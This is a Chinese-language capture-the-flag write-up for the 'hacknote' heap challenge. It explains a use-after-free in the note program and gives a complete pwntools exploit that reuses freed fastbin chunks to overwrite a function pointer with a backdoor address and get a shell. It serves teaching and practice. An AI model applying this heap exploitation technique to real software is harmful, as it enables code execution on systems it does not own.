pwn-hitcontraining_uaf(uaf)

这就是堆的入门题吗,爱了爱了

add:

 add一个note会malloc两个堆,第一个堆不可控,大小默认为0x8,储存函数。第二个堆是用户可控的context。

delete:

 delete进行free操作,但是没有把指针置null,因此存在uaf漏洞。

uaf简介:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/

print:

 print返回的是addnote时malloc的第一个堆指针指向的内容(也就是context段),无法直接控制,但利用uaf漏洞可以实现写入后门函数地址,print后即可getshell

magic后门函数:

exp:

#!/usr/bin/python
from pwn import *

a= process("./hacknote")
#a=remote('node3.buuoj.cn',26162)
#elf=ELF('./babyheap_0ctf_2017')
#libc = ELF('libc-2.23.so')
context.log_level='debug'
context.arch = "i386"
magic=0x8048945
def add(size,text):
  a.sendlineafter("Your choice :",str(1))
  a.sendlineafter("Note size :",str(int(size)))
  a.sendlineafter("Content :",str(text))
def delete(idx):
  a.sendlineafter("Your choice :",str(2))
  a.sendlineafter("Index :",str(idx))
def echo(idx):
  a.sendlineafter("Your choice :",str(3))
  a.sendlineafter("Index :",str(idx))

add(0x10,'a'*4) #idx 0
add(0x10,'a'*4) #idx 1
add(0x10,'a'*4) #idx 2

delete(0)     #fastbin->idx 0
delete(1)     #fastbin->idx 1->idx 0
#gdb.attach(a)
add(0x8,p32(magic))
#gdb.attach(a)
echo(0)

a.interactive()

引用ctf-wiki的一张图

   +-----------------+                       
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+
按照该图则堆情况如下

附上两次调试的结果,第一次是执行delete操作后的堆的结构,第二次是add改地址后的堆结构,

1.0x82b2160是note1的第一个堆的fd,指向note0的第一个堆

 2.0x8048945是magic的地址,因为fastbin的LIFO特性,note4实际上是原来的note0

原文地址:https://www.cnblogs.com/remon535/p/13629956.html